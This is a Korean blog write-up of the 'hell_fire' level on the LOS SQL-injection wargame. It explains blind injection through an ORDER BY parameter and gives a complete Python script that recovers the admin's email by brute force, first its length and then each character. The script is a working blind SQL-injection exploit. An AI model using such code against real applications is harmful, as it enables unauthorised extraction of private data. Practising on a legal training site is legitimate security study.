write-up(web)/los

[LOS] hell_fire

chanchand 2023. 1. 25. 00:33
반응형

문제


https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php

 

https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php

 

los.rubiya.kr

 

 

 

 

문제풀이

 


order 파라미터를 입력받아 정렬을 해준다.

if문 조건에 따라 다른 결과값을 이용해 blind injection을 시도한다.

 

참일 경우 admin id가 첫번째로 나오는 것을 볼 수 있다.

이를 이용해 admin id의 email을 구할 수 있다.

 

- admin email 길이

 

- admin email 

 

- 파이썬 코드

import requests

cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"


# flag_len
flag_len=0
for i in range(1,50):
  query="?order=if(id='admin' and length(email)={},1,2)".format(i);
  res=requests.get(url+query, cookies=cookie)
  if (res.text.find("<td>admin</td>")==63):
    flag_len=i
    break

print("flag_len:{}".format(flag_len))

# flag
flag=""
for i in range(1,flag_len+1):
  for j in range(33,128):
    query="?order=if(id='admin' and ascii(substr(email,{},1))={},1,2)".format(i,j)
    res=requests.get(url+query, cookies=cookie)
    
    if (res.text.find("<td>admin</td>")==63):
      flag+=chr(j)
      print(flag)
      break

print("flag:{}".format(flag))

 

 

 

반응형

'write-up(web) > los' 카테고리의 다른 글

[LOS] green_dragon  (0) 2023.01.28
[LOS] evil_wizard  (0) 2023.01.25
[LOS] dark_eyes  (0) 2023.01.24
[LOS] iron_golem  (0) 2023.01.24
[LOS] xavis  (0) 2023.01.23